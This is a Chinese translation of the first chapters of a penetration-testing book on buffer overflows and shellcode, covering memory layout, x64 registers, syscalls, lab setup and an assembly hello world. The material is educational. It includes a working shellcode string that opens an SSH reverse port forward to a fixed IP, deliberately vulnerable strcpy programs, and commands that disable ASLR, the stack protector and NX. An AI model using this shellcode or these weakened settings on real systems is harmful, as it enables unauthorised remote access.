渗透测试-Shellcode(全)

渗透测试 Shellcode(全)

原文:annas-archive.org/md5/490B2CAE1041BE44E9F980C77B842689

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书主要介绍了如何发现缓冲区溢出漏洞,从头开始编写自己的 shellcode,学习操作系统的安全机制以及利用开发。您将了解如何使用 shellcode、汇编语言和 Metasploit 绕过操作系统和网络层的安全系统。您还将学习编写和修改 64 位 shellcode 以及内核级 shellcode 的概念。总的来说,本书是一本逐步指导的指南,将带您从低级安全技能到利用开发和 shellcode 的循环覆盖。

本书的读者对象

本书适合渗透测试人员、恶意软件分析人员、安全研究人员、取证从业人员、利用开发人员、C 语言程序员、软件测试人员以及安全领域的学生阅读。

本书涵盖内容

第一章,介绍,讨论了 shellcode、缓冲区溢出、堆破坏的概念,并介绍了计算机体系结构。

第二章,实验室设置,教授如何构建一个安全的环境来测试恶意代码,并向读者介绍调试器的图形界面。

第三章,Linux 上的汇编语言,解释了如何在 Linux 上使用汇编语言构建 shellcode。

第四章,逆向工程,介绍了如何使用调试器对代码进行逆向工程。

第五章,创建 Shellcode,解释了如何使用汇编语言和 Metasploit 构建 shellcode。

第六章,缓冲区溢出攻击,详细介绍了 Windows 和 Linux 上的缓冲区溢出攻击。

第七章,利用开发-第 1 部分,讨论了如何进行模糊测试和查找返回地址。

第八章,利用开发-第 2 部分,教授如何生成适当的 shellcode 以及如何在利用中注入 shellcode。

第九章,真实场景-第 1 部分,介绍了一个缓冲区溢出攻击的真实例子。

第十章,真实场景-第 2 部分,延续了前一章,但更加高级。

第十一章,真实场景-第 3 部分,提供了另一个真实场景的例子,但使用了更多的技术。

第十二章,检测和预防,讨论了检测和预防缓冲区溢出攻击所需的技术和算法。

充分利用本书

读者应该对操作系统内部有基本的了解(Windows 和 Linux)。对 C 语言的了解是必不可少的,熟悉 Python 会有所帮助。

本书中的所有地址都依赖于我的计算机和操作系统。因此,您的计算机上的地址可能会有所不同。

下载示例代码文件

您可以从www.packtpub.com的帐户中下载本书的示例代码文件。如果您在其他地方购买了本书,可以访问www.packtpub.com/support并注册,文件将直接通过电子邮件发送给您。

您可以按照以下步骤下载代码文件:

  1. www.packtpub.com上登录或注册。

  2. 选择“支持”选项卡。

  3. 单击“代码下载和勘误”。

  4. 在搜索框中输入书名,然后按照屏幕上的说明操作。

文件下载后,请确保使用最新版本解压缩或提取文件夹:

  • WinRAR/7-Zip for Windows

  • Zipeg/iZip/UnRarX for Mac

  • 7-Zip/PeaZip for Linux

该书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Penetration-Testing-with-Shellcode。我们还有其他代码包来自我们丰富的书籍和视频目录,可在github.com/PacktPublishing/上找到。去看看吧!

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以从www.packtpub.com/sites/default/files/downloads/PenetrationTestingwithShellcode_ColorImages.pdf下载。

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。以下是一个例子:“现在堆栈已恢复正常,0x1234已移至rsi。”

代码块设置如下:

mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi

当我们希望引起您对代码块的特定部分的注意时,相关的行或项目将以粗体显示:

mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi

任何命令行输入或输出都以以下形式编写:

$ nasm -felf64 stack.nasm -o stack.o

粗体:表示新术语、重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会以这种形式出现在文本中。以下是一个例子:“选择 GNU GCC 编译器,点击设置为默认,然后点击确定。”

警告或重要说明会以这种形式出现。

技巧和窍门会以这种形式出现。

第一章:介绍

欢迎来到Shellcode 渗透测试的第一章。术语渗透测试指的是攻击系统而不对系统造成任何损害。攻击背后的动机是在攻击者找到进入系统的方法之前,找到系统的缺陷或漏洞。因此,为了衡量系统抵抗暴露敏感数据的能力,我们尽可能收集尽可能多的数据,并使用 shellcode 执行渗透测试,我们必须首先了解溢出攻击。

缓冲区溢出是最古老且最具破坏性的漏洞之一,可能对操作系统造成严重损害,无论是远程还是本地。基本上,这是一个严重的问题,因为某些函数不知道输入数据是否能够适应预分配的空间。因此,如果我们添加的数据超过了分配的空间,那么这将导致溢出。有了 shellcode 的帮助,我们可以改变同一应用程序的执行流程。造成损害的主要核心是 shellcode 生成的有效载荷。随着各种软件的传播,即使有像微软这样的强大支持,也可能使您容易受到此类攻击。Shellcode 正是我们希望在控制执行流程后执行的内容,我们稍后将详细讨论。

本章涵盖的主题如下:

  • 什么是堆栈?

  • 什么是缓冲区?

  • 什么是堆栈溢出?

  • 什么是堆?

  • 什么是堆破坏?

  • 什么是 shellcode?

  • 计算机体系结构介绍

  • 什么是系统调用?

让我们开始吧!

什么是堆栈?

堆栈是内存中为每个运行的应用程序分配的空间,用于保存其中的所有变量。操作系统负责为每个运行的应用程序创建内存布局,在每个内存布局中都有一个堆栈。堆栈还用于保存返回地址,以便代码可以返回到调用函数。

堆栈使用后进先出LIFO)来存储其中的元素,并且有一个堆栈指针(稍后我们会讨论它),它指向堆栈的顶部,并使用push将元素存储在堆栈顶部,使用pop从堆栈顶部提取元素。

让我们看下面的例子来理解这一点:

#include <stdio.h>
void function1()
{
    int y = 1;
    printf("This is function1\n");
}
void function2()
{
    int z = 2;
    printf("This is function2\n");
}
int main (int argc, char **argv[])
{  
    int x = 10;
    printf("This is the main function\n");
    function1();
    printf("After calling function1\n");
    function2();
    printf("After calling function2");
    return 0;
}

这就是上述代码的工作原理:

  • main函数将首先启动,将变量x推入堆栈,并打印出句子This is the main function,如下所示:

  • main函数将调用function1,在继续执行function1之前,将printf("After calling function1\n")的地址保存到堆栈中,以便继续执行流程。通过将变量y推入堆栈来完成function1后,它将执行printf("This is function1\n"),如下所示:

  • 然后,再次返回到main函数执行printf("After calling function1\n"),并将printf("After calling function2")的地址推入堆栈,如下所示:

  • 现在控制将继续执行function2,通过将变量z推入堆栈,然后执行printf("This is function2\n"),如下图所示:

  • 然后,返回到main函数执行printf("After calling function2")并退出。

什么是缓冲区?

缓冲区是用于保存数据(如变量)的临时内存部分。缓冲区只能在其函数内部访问或读取,直到它被声明为全局;当函数结束时,缓冲区也随之结束;当存在数据存储或检索时,所有程序都必须处理缓冲区。

让我们看下面的代码行:

char buffer;

这段 C 代码的含义是什么?它告诉计算机分配一个临时空间(缓冲区),大小为char,可以容纳 1 个字节。您可以使用sizeof函数来确认任何数据类型的大小:

#include <stdio.h>
#include <limits.h>
int main()
{
    printf("The size for char : %d \n", sizeof(char));
    return 0;
}

当然,您也可以使用相同的代码来获取其他数据类型的大小,比如int数据类型。

什么是堆栈溢出?

堆栈溢出发生在将更多数据放入缓冲区中而它无法容纳时,这导致缓冲区被填满并覆盖内存中的相邻位置,剩下的输入。当负责复制数据的函数不检查输入是否能够适合缓冲区时,就会发生这种情况,比如strcpy。我们可以使用堆栈溢出来改变代码的执行流到另一个代码,使用 shellcode。

这是一个例子:

#include <stdio.h>
#include <string.h>
// This function will copy the user's input into buffer
void copytobuffer(char* input)
{
   char buffer[15];
   strcpy (buffer,input);
}
int main (int argc, char **argv[])
{
   copytobuffer(argv[1]);
   return 0;
}

代码的工作方式如下:

  • copytobuffer函数中,它分配了一个大小为15个字符的缓冲区,但这个缓冲区只能容纳 14 个字符和一个空终止字符串\0,表示数组的结尾

您不必以空终止字符串结束数组;编译器会为您完成。

  • 然后是strcpy,它从用户那里获取输入并将其复制到分配的缓冲区中

  • main函数中,它调用copytobuffer并将argv参数传递给copytobuffer

main函数调用copytobuffer函数时,实际发生了什么?

以下是这个问题的答案:

  • main函数的返回地址将被推送到内存中

  • 旧基址指针(在下一节中解释)将保存在内存中

  • 将分配一个大小为 15 字节或158*位的缓冲区的内存部分:

现在,我们同意这个缓冲区只能容纳 14 个字符,但真正的问题在于strcpy函数内部,因为它没有检查输入的大小,它只是将输入复制到分配的缓冲区中。

现在让我们尝试使用 14 个字符编译和运行此代码:

让我们看看堆栈:

如您所见,程序在没有错误的情况下退出。现在,让我们再试一次,但使用 15 个字符:

现在让我们再看看堆栈:

这是堆栈溢出,分段错误是内存违规的指示;发生的情况是用户的输入溢出了分配的缓冲区,从而填充了旧的基址指针和返回地址

分段错误意味着用户空间内存中的违规,内核恐慌意味着内核空间中的违规。

什么是堆?

是应用程序在运行时动态分配的一部分内存。堆可以使用 C 语言中的malloccalloc函数进行分配。堆与堆栈不同,因为堆会一直保留,直到:

  • 程序退出

  • 它将使用free函数删除

堆与堆栈不同,因为在堆中可以分配非常大的空间,并且在分配的空间上没有限制,例如在堆栈中,根据操作系统的不同,分配的空间是有限的。您还可以使用realloc函数调整堆的大小,但无法调整缓冲区的大小。在使用堆时,您必须在完成后使用free函数释放堆,但在堆栈中不需要;此外,堆栈比堆更快。

让我们看看下面的代码行:

 char* heap=malloc(15);

这段 C 代码的含义是什么?

它告诉计算机在堆内存中分配一个大小为15字节的部分,并且还应该容纳 14 个字符加上一个空终止字符串\0

什么是堆损坏?

堆损坏发生在复制或推送到堆中的数据大于分配的空间时。让我们看一个完整的堆示例:


#include <string.h>
#include <stdlib.h>
void main(int argc, char** argv)
{
  // Start allocating the heap
    char* heap=malloc(15);
  // Copy the user's input into heap
    strcpy(heap, argv[1]);
  // Free the heap section
    free(heap);
}

在第一行代码中,使用malloc函数分配了一个大小为15字节的堆;在第二行代码中,使用strcpy函数将用户输入复制到堆中;在第三行代码中,使用free函数释放了堆,返回给系统。

让我们编译并运行它:

现在,让我们尝试使用更大的输入来使其崩溃:

这个崩溃是堆破坏,迫使程序终止。

内存布局

这是一个包含以下内容的程序的完整内存布局:

  • .text部分用于保存程序代码

  • .data部分用于保存初始化的数据

  • .BSS部分用于保存未初始化的数据

  • 部分用于保存动态分配的变量

  • 部分用于保存非动态分配的变量,如缓冲区:

看看是如何增长的;高内存增长到低内存,而低内存增长到高内存

什么是 shellcode?

Shellcode 就像是用机器语言编写的溢出利用中使用的有效载荷。因此,shellcode 用于在利用易受攻击的进程后覆盖执行流程,比如让受害者的机器连接回您以生成一个 shell。

下一个示例是用于 Linux x86 SSH 远程端口转发的 shellcode,执行ssh -R 9999:localhost:22 192.168.0.226命令:

"\x31\xc0\x50\x68\x2e\x32\x32\x36\x68\x38\x2e\x30\x30\x68\x32\x2e\x31\x36""\x66\x68\x31\x39\x89\xe6\x50\x68\x74\x3a\x32\x32\x68\x6c\x68\x6f\x73\x68""\x6c\x6f\x63\x61\x68\x39\x39\x39\x3a\x66\x68\x30\x39\x89\xe5\x50\x66\x68""\x2d\x52\x89\xe7\x50\x68\x2f\x73\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75""\x73\x72\x89\xe3\x50\x56\x55\x57\x53\x89\xe1\xb0\x0b\xcd\x80";

这是该 shellcode 的汇编语言:

xor    %eax,%eax
push   %eax
pushl  $0x3632322e
pushl  $0x30302e38
pushl  $0x36312e32
pushw  $0x3931
movl   %esp,%esi
push   %eax
push   $0x32323a74
push   $0x736f686c
push   $0x61636f6c
push   $0x3a393939
pushw  $0x3930
movl   %esp,%ebp
push   %eax
pushw  $0x522d
movl   %esp,%edi
push   %eax
push   $0x6873732f
push   $0x6e69622f
push   $0x7273752f
movl   %esp,%ebx
push   %eax
push   %esi
push   %ebp
push   %edi
push   %ebx
movl   %esp,%ecx
mov    $0xb,%al
int    $0x80

计算机架构

让我们来了解一些计算机架构(Intel x64)中的概念。计算机的主要组件如下图所示:

让我们更深入地了解 CPU。CPU 有三个部分:

  • 算术逻辑单元ALU):这部分负责执行算术运算,如加法和减法,以及逻辑运算,如 ADD 和 XOR

  • 寄存器:这是我们在本书中真正关心的内容,它们是 CPU 的超快速内存,我们将在下一节中讨论

  • 控制单元CU):这部分负责 ALU 和寄存器之间的通信,以及 CPU 本身和其他设备之间的通信

寄存器

正如我们之前所说,寄存器就像是 CPU 的超快速内存,用于存储或检索处理中的数据,并分为以下几个部分。

通用寄存器

Intel x64 处理器中有 16 个通用寄存器:

  • 累加器寄存器(RAX)用于算术运算—RAX持有64位,EAX持有32位,AX持有16位,AH持有8位,AL持有8位:

  • 基址寄存器(RBX)用作数据指针—RBX持有64位,EBX持有32位,BX持有16位,BH持有8位,BL持有8位:

  • 计数器寄存器(RCX)用于循环和移位操作—RCX持有64位,ECX持有32位,CX持有16位,CH持有8位,CL持有8位:

  • 数据寄存器(RDX)用作数据持有者和算术运算—RDX持有64位,EDX持有32位,DX持有16位,DH持有8位,DL持有8位:

  • 源索引寄存器(RSI)用作源指针—RSI持有64位,ESI持有32位,DI持有16位,SIL持有8位:

  • 目的索引寄存器(RDI)用作目的指针—RDI持有64位,EDI持有32位,DI持有16位,DIL持有8位:

RSIRDI都用于流操作和字符串操作。

  • 栈指针寄存器(R****SP)用作指向栈顶的指针—RSP持有64位,ESP持有32位,SP持有16位,SPL持有8位:

  • 基指针寄存器(RBP)用作栈的基址指针—RBP持有64位,EBP持有32位,BP持有16位,BPL持有8位:

  • 寄存器 R8、R9、R10、R11、R12、R13、R14 和 R15 没有特定的操作,但它们的架构与先前的寄存器不同,比如H)值或L)值。但是,它们可以用作D表示双字W表示,或B表示字节。让我们以R8为例:

在这里,R8 保存 64 位,R8D 保存 32 位,R8W 保存 16 位,R8B 保存 8 位。

R8 到 R15 只存在于 Intel x64 而不是 x84。

指令指针

指令指针寄存器或 RIP 用于保存下一条指令。

让我们先看以下示例:

#include <stdio.h>
void printsomething()
{
    printf("Print something\n");
}
int main ()
{
    printsomething();

    printf("This is after print something function\n");
    return 0;
}

将执行的第一件事是main函数,然后它将调用printsomething函数。但在调用printsomething函数之前,程序需要确切地知道在执行printsomething函数后的下一个操作是什么。因此,在调用printsomething之前,下一条指令printf("This is after print something function\n")的位置将被推送到 RIP 等等:

在这里,RIP 保存 64 位,EIP 保存 32 位,IP 保存 16 位。

以下表格总结了所有通用寄存器:

64 位寄存器 32 位寄存器 16 位寄存器 8 位寄存器
RAX EAX AX AH,AL
RBX EBX BX BH, BL
RCX ECX CX CH, CL
RDX EDX DX DH,DL
RSI ESI SI SIL
RDI EDI DI DIL
RSP ESP SP SPL
RBP EBP BP BPL
R8 R8D R8W R8B
R9 R9D R9W R9B
R10 R10D R10W R10B
R11 R11D R11W R11B
R12 R12D R12W R12B
R13 R13D R13W R13B
R14 R14D R14W R14B
R15 R15D R15W R15B

标志寄存器

这些是计算机用来控制执行流程的寄存器。例如,汇编中的 JMP 操作将根据标志寄存器的值执行,比如“跳转如果为零”(JZ)操作,这意味着如果零标志包含 1,执行流程将被改变到另一个流程。我们将讨论最常见的标志:

  • 如果在算术运算中有加法进位或减法借位,则设置进位标志(CF)。

  • 如果设置位的数量为偶数,则设置奇偶标志(PF)。

  • 如果在算术运算中有二进制代码十进位的进位,则设置调整标志(AF)。

  • 如果结果为零,则设置零标志(ZF)。

  • 如果最高有效位为 1(数字为负数),则设置符号标志(SF)。

  • 在算术运算中,如果操作的结果太大而无法容纳在寄存器中,将设置溢出标志(OF)。

段寄存器

共有六个段寄存器:

  • 代码段(CS)指向堆栈中代码段的起始地址

  • 堆栈段(SS)指向堆栈的起始地址

  • 数据段(DS)指向堆栈中数据段的起始地址

  • 额外段(ES)指向额外数据

  • F 段(FS)指向额外数据

  • G 段(GS)指向额外数据

FS 中的 F 表示 E 后的 F;而 GS 中的 G 表示 F 后的 G。

端序

端序描述了在内存或寄存器中分配字节的顺序,有以下两种类型:

  • “大端”意味着从左到右分配字节。让我们看看像shell这样的单词(十六进制为73 68 65 6c 6c)将如何在内存中分配:

它按从左到右的顺序推送。

  • “小端”意味着从右到左分配字节。让我们看看以小端方式处理前面的例子:

正如你所看到的,它向后推了llehs,而最重要的是英特尔处理器是小端序的。

系统调用

在 Linux 内存(RAM)中有两个空间:用户空间和内核空间。内核空间负责运行内核代码和系统进程,并具有对内存的完全访问权限,而用户空间负责运行用户进程和应用程序,并具有对内存的受限访问权限,这种分离是为了保护内核空间。

当用户想要执行一个代码(在用户空间),用户空间通过系统调用发送请求给内核空间,也被称为 syscalls,通过诸如 glibc 的库,然后内核空间使用 fork-exec 技术代表用户空间执行它。

什么是系统调用?

系统调用就像用户空间用来请求内核代表用户空间执行的请求。例如,如果一个代码想要打开一个文件,那么用户空间会发送打开系统调用给内核,代表用户空间打开文件,或者当一个 C 代码包含printf函数时,用户空间会发送写系统调用给内核:

fork-exec 技术是 Linux 通过 fork 系统调用复制父进程在内存中的资源,然后使用 exec 系统调用运行可执行代码的方式来运行进程或应用程序。

系统调用就像内核 API,或者说你要如何与内核本身交流,告诉它为你做一些事情。

用户空间是一个隔离的环境或沙盒,用来保护内核空间及其资源。

那么我们如何获取 x64 内核系统调用的完整列表呢?实际上很容易,所有系统调用都位于这个文件中:/usr/include/x86_64-linux-gnu/asm/unistd_64.h

cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h 

以下截图显示了上述命令的输出:

这只是我的内核系统调用的一小部分。

总结

在本章中,我们讨论了计算机科学中的一些定义,如堆栈、缓冲区和堆,还简要提到了缓冲区溢出和堆破坏。然后,我们转向了计算机体系结构中的一些定义,比如寄存器,在调试和理解处理器内部执行方式方面非常重要。最后,我们简要讨论了系统调用,在 Linux 汇编语言中也很重要(我们将在下一部分中看到),以及内核如何在 Linux 上执行代码。在这一点上,我们已经准备好进入另一个层次,即构建一个环境来测试溢出攻击,并创建和注入 shellcode。

第二章:实验室设置

在本章中,我们将建立一个隔离的实验室,用于本书的其余部分。我们将看到如何安装诸如 Metasploit 框架之类的工具,以创建 shellcode 和利用开发。我们还将看到如何在 Microsoft Windows 上安装 C 语言 IDE 和编译器,然后再看看 Windows 和 Linux 上的 Python 编程语言。然后,我们将看看安装和熟悉调试器界面

首先,我们需要三台机器。第一台是用于模拟远程攻击的攻击者,将是 Linux 操作系统。在这里,我更喜欢 Kali Linux,因为它包含了我们需要的所有工具,另外我们还将安装一些额外的工具。第二台将是 Ubuntu 14.04 LTS x64,第三台将是 Windows 7 x64。

本章涵盖的主题如下:

  • 配置攻击者机器

  • 配置 Linux 受害者机器

  • 配置 Windows 受害者机器

  • 配置 Linux 受害者机器

  • 配置 Ubuntu 以进行 x86 汇编

  • 网络

您可以使用 VMware、KVM 或 VirtualBox,但请确保选择仅主机网络,因为我们不希望将这些易受攻击的机器暴露给外部世界。

配置攻击者机器

如我之前所说,攻击者机器将是我们的主要基地,我更喜欢 Kali Linux,但如果您要使用其他发行版,那么您必须安装以下软件包:

  1. 首先,我们需要确保 C 编译器已安装;使用gcc -v命令:

  1. 如果没有,只需使用$ sudo apt-get install gcc(Debian 发行版)或$ sudo yum install gcc(Red Hat 发行版)。接受并安装带有其依赖项的gcc

  2. 此外,我们将在利用开发中使用 Python 编程语言。Python 默认随大多数 Linux 发行版一起安装,要确保它已安装,只需使用$ python -Vpython。然后,Python 解释器将启动(按Ctrl + D退出):

  1. 对于文本编辑器,我使用nano作为我的 CLI 文本编辑器,atom作为我的 GUI 文本编辑器;nano也随大多数 Linux 发行版一起安装。

  2. 如果要安装atom,请转到github.com/atom/atom/releases/,您将找到一个测试版和稳定版。然后,根据您的系统下载 Atom 软件包,.deb.rpm,并使用$ sudo dpkg -i package-name.deb(Debian 发行版)或$ sudo rpm -i package-name.rpm(Red Hat 发行版)进行安装。

这就是 Atom 界面的样子:

在创建 shellcode 和利用开发时,我们将使用 Metasploit 框架。要安装 Metasploit,我建议您使用全自动安装程序通过github.com/rapid7/metasploit-framework/wiki/Nightly-Installers。这个脚本将安装 Metasploit 以及它的依赖项(Ruby 和 PostgreSQL)。看下一个例子(在 ARM 上安装 Metasploit,但与 Intel 相同):

  1. 首先,使用curl命令获取安装程序:
 $ curl https://raw.githubusercontent.com/rapid7/
        metasploit-omnibus/master/config/templates/
        metasploit-framework-wrappers/msfupdate.erb > msfinstall
  1. 然后,使用chmod命令给予适当的权限:
 $ chmod 755 msfinstall
  1. 然后,启动安装程序:
 $ ./msfinstall
  1. 现在它将开始下载 Metasploit 框架以及它的依赖项。

  2. 要为 Metasploit 框架创建数据库,只需使用msfconsole并按照说明操作:

 $ msfconsole
  1. 然后,它将设置一个新的数据库,Metasploit 框架开始:

  1. 由于我们将使用汇编编程语言,让我们看看汇编器(nasm)和链接器(ld)。

  2. 首先,我们需要使用$ sudo apt-get install nasm来安装nasm(Debian 发行版)。对于 Red Hat 发行版,根据 NASM 的网站,您首先需要将此存储库添加到您的/etc/yum/yum.repos.d中作为nasm.repo

[nasm]
name=The Netwide Assembler
baseurl=http://www.nasm.us/pub/nasm/stable/linux/
enabled=1
gpgcheck=0

[nasm-testing]
name=The Netwide Assembler (release candidate builds)
baseurl=http://www.nasm.us/pub/nasm/testing/linux/
enabled=0
gpgcheck=0

[nasm-snapshot]
name=The Netwide Assembler (daily snapshot builds)
baseurl=http://www.nasm.us/pub/nasm/snapshots/latest/linux/
enabled=0
gpgcheck=0
  1. 然后,使用$ sudo yum update && sudo yum install nasm来更新和安装nasm,以及$ nasm -v来获取 NASM 的版本:

  1. 使用命令$ ld -v来获取链接器的版本:

配置 Linux 受害机器

这台机器将是 Ubuntu 14.04 x64。您可以从releases.ubuntu.com/14.04/下载它。此外,我们必须遵循先前的指示来安装gcc,Python 和nasm

现在,让我们安装一个非常友好的 GUI,名为 edb-debugger。您可以按照此页面github.com/eteran/edb-debugger/wiki/Compiling-(Ubuntu)或按照下一个指示。

首先,使用以下命令安装依赖项:

$ sudo apt-get install cmake build-essential libboost-dev libqt5xmlpatterns5-dev qtbase5-dev qt5-default libgraphviz-dev libqt5svg5-dev git

然后,克隆并编译 Capstone 3.0.4,如下所示:

$ git clone --depth=50 --branch=3.0.4 https://github.com/aquynh/capstone.git
$ pushd capstone
$ ./make.sh
$ sudo ./make.sh install
$ popd

然后,克隆并编译 edb-debugger,如下所示:

$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake ..
$ make

然后,使用$ sudo ./edb命令启动 edb-debugger,打开以下窗口:

正如我们所看到的,edb-debugger 有以下四个窗口:

  • 反汇编窗口将机器语言转换为汇编语言

  • 寄存器窗口包含所有寄存器的当前内容

  • 数据转储窗口包含当前进程的内存转储

  • 堆栈窗口包含当前进程的堆栈内容

现在到最后一步。为了学习目的,需要禁用地址空间布局随机化ASLR)。这是 Linux 中的一种安全机制,我们稍后会谈论它。

只需执行$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space命令。

此外,我们将在使用gcc进行编译时禁用堆栈保护程序和 NX,使用:

$ gcc -fno-stack-protector -z execstack

配置 Windows 受害机器

在这里,我们将配置 Windows 机器作为受害机器,这是 Windows 7 x64。

首先,我们需要安装 C 编译器和 IDE,我建议使用Code::Blocks,要安装它,从www.codeblocks.org/downloads/binaries.下载二进制文件。在这里,我将安装codeblocks-16.01mingw-setup.exe(最新版本)。下载并安装mingw版本。

在首次启动Code::Blocks时,将弹出一个窗口以配置编译器。选择 GNU GCC Compiler,点击 Set as default,然后点击 OK:

然后,IDE 界面将弹出:

现在我们有了 C 编译器和 IDE。现在,让我们转向安装调试器。

首先,我们需要 x86 的Immunity Debugger;从debugger.immunityinc.com/ID_register.py下载 Immunity。填写这个表格,下载,然后使用默认设置安装它,它会要求您确认安装 Python。之后,我们需要安装一个名为mona的调试器插件,由 Corelan 团队创建,www.corelan.be。这是一个很棒的插件,将帮助我们进行利用开发。从他们的 GitHub 存储库github.com/corelan/mona下载mona.py文件,然后将其复制到C:\Program Files (x86)\Immunity Inc\Immunity Debugger\Immunit\PyCommands

这就是 Immunity Debugger 的外观,它由四个主要窗口组成,正如在 edb-debugger 中所解释的那样。

此外,我们现在有 Python,要确认,只需导航到C:\Python27\。然后,点击 Python,Python 解释器将弹出:

现在,让我们安装 x64dbg。这也是 Windows x86 和 x64 的调试器,但是当涉及到 x86 Windows 时,没有比 Immunity Debugger 更好的了。

转到sourceforge.net/projects/x64dbg/files/snapshots/,然后下载最新版本。解压缩然后导航到/release以启动x96dbg

然后,点击 x64dbg:

现在我们正在看 x64dbg 界面,它也包含四个主要窗口,正如在 edb-debugger 中所解释的那样:

为汇编 x86 配置 Ubuntu

这对于本书来说并不是强制性的,但如果您想尝试 x86 汇编,它已经包含在内。使用的机器将是 Ubuntu 14.04 x86,您可以从releases.ubuntu.com/14.04/下载。

我们必须遵循先前的说明来安装 NASM、GCC、文本编辑器,我将使用 GDB 作为我的调试器。

网络

由于我们将在受害者机器上运行易受攻击的应用程序进行利用研究和注入 shellcode,因此在配置每台机器后,我们必须建立一个安全的网络。这是通过使用主机模式来确保所有机器连接在一起,但它们仍然是脱机的,不会暴露在外部世界中。

如果您使用的是 VirtualBox,则转到首选项|网络并设置主机模式网络:

然后,设置一个与外部 IP 不冲突的 IP 范围,例如:

  • IP 地址192.168.100.1

  • 子网掩码255.255.255.0

然后,您可以从 DHCP 服务器选项卡激活 DHCP 服务器。

您应该在您的ifconfig中看到它:

$ ifconfig vboxnet0

然后,在您的客户机适配器上激活此网络(例如,vboxnet0):

如果您使用的是 VMware Workstation,请转到编辑|虚拟网络编辑器:

此外,您可以确保主机模式网络已启动:

$ ifconfig vmnet1

然后,从客户机设置中,转到网络适配器,并选择主机模式:与主机共享的私有网络:

总结

在本章中,我们安装了三个主要的操作系统:一个用于模拟攻击者机器以尝试远程利用,第二个是 Ubuntu x64,第三个是 Windows 7,最后两个操作系统是受害者。另外,还有一台额外的机器用于尝试汇编 x86。

此外,我们还禁用了 Linux 中的一些安全机制,仅供学习目的,然后我们进行了网络配置。

在下一章中,让我们迈出一大步,学习汇编,这将使我们能够编写自己的 shellcode,并让您真正了解计算机如何执行每个命令。

第三章:Linux 中的汇编语言

在本章中,我们将讨论在 Linux 中的汇编语言编程。我们将学习如何构建我们自己的代码。汇编语言是一种低级编程语言。低级编程语言是机器相关的编程,是计算机理解的最简单形式。在汇编中,你将处理计算机架构组件,如寄存器和堆栈,不像大多数高级编程语言,如 Python 或 Java。此外,汇编不是一种可移植的语言,这意味着每种汇编编程语言都特定于一种硬件或一种计算机架构;例如,英特尔有自己特定的汇编语言。我们学习汇编不是为了构建复杂的软件,而是为了构建我们自己定制的 shellcode,所以我们将使它非常简单和简单。

我保证,完成本章后,你将以不同的方式看待每个程序和进程,并且你将能够理解计算机是如何真正执行你的指令的。让我们开始吧!

汇编语言代码结构

在这里,我们不会讨论语言结构,而是代码结构。你还记得内存布局吗?

让我们再来看一下:

我们将把我们的可执行代码放在.text部分,我们的变量放在.data部分:

让我们也更仔细地看一下堆栈。堆栈是LIFO,这意味着后进先出,所以它不是随机访问,而是使用推入和弹出操作。推入是将某物推入堆栈顶部。让我们看一个例子。假设我们有一个堆栈,它只包含0x1234

现在,让我们使用汇编push 0x5678将某物推入堆栈。这条指令将值0x5678推入堆栈,并将堆栈指针指向0x5678

现在,如果我们想要从堆栈中取出数据,我们使用pop指令,它将提取推入堆栈的最后一个元素。因此,以相同的堆栈布局,让我们使用pop rax来提取最后一个元素,它将提取值0x5678并将其移动到RAX寄存器:

这很简单!

我们将如何在 Linux x64 上编写汇编代码?实际上,这很简单;你还记得系统调用吗?这就是我们通过调用系统命令来执行我们想要的方式。例如,如果我想要退出一个程序,那么我必须使用exit系统调用。

首先,这个文件/usr/include/x86_64-linux-gnu/asm/unistd_64.h包含了 Linux x64 的所有系统调用。让我们搜索exit系统调用:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep exit
#define __NR_exit 60
#define __NR_exit_group 231

exit系统调用有一个系统调用号60

现在,让我们来看一下它的参数:

$ man 2 exit 

以下截图显示了前面命令的输出:

只有一个参数,即status,它具有int数据类型来定义退出状态,例如零状态表示没有错误:

void _exit(int status);

现在,让我们看看如何使用寄存器来调用 Linux x64 系统调用:

我们只是将系统调用号放入RAX,然后将第一个参数放入RDI第二个参数放入RSI,依此类推,就像前面的截图所示。

让我们看一看我们将如何调用exit系统调用:

我们只是将60,即exit系统调用号放入RAX,然后将0放入RDI,这就是退出状态;是的,就是这么简单!

让我们更深入地看一下汇编代码:

mov rax, 60
mov rdi, 0

第一行告诉处理器将值60移动到rax中,第二行告诉处理器将值0移动到rdi中。

正如你所看到的,一条指令的一般结构是{操作} {目的地},{来源}

数据类型

数据类型在汇编中很重要。我们可以用它们来定义变量,或者当我们想要对寄存器或内存的一小部分执行任何操作时使用它们。

以下表格解释了汇编中基于长度的数据类型:

名称 指令 字节
字节 db 1 8
dw 2 16
双字 dd 4 32
四字 dq 8 64

为了充分理解,我们将在汇编中构建一个 hello world 程序。

Hello world

好的,让我们开始深入了解。我们将构建一个 hello world,这无疑是任何程序员的基本构建块。

首先,我们需要了解我们真正需要的是一个系统调用来在屏幕上打印hello world。为此,让我们搜索write系统调用:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep write 
#define __NR_write 1
#define __NR_pwrite64 18
#define __NR_writev 20
#define __NR_pwritev 296
#define __NR_process_vm_writev 311
#define __NR_pwritev2 328

我们可以看到write系统调用的编号是1;现在让我们看看它的参数:

$ man 2 write

以下截图显示了前面命令的输出:

write系统调用有三个参数;第一个是文件描述符:

ssize_t write(int fd, const void *buf, size_t count);

文件描述符有三种模式:

整数值 名称 stdio.h的别名
0 标准输入 stdin
1 标准输出 stdout
2 标准错误 stderr

因为我们要在屏幕上打印hello world,所以我们将选择标准输出1,作为第二个参数,它是指向我们要打印的字符串的指针;第三个参数是字符串的计数,包括空格。

以下图表解释了寄存器中将要包含的内容:

现在,让我们跳到完整的代码:

global _start

section .text

_start:

    mov rax, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

section .data

    hello_world: db 'hello world',0xa
    length: equ $-hello_world

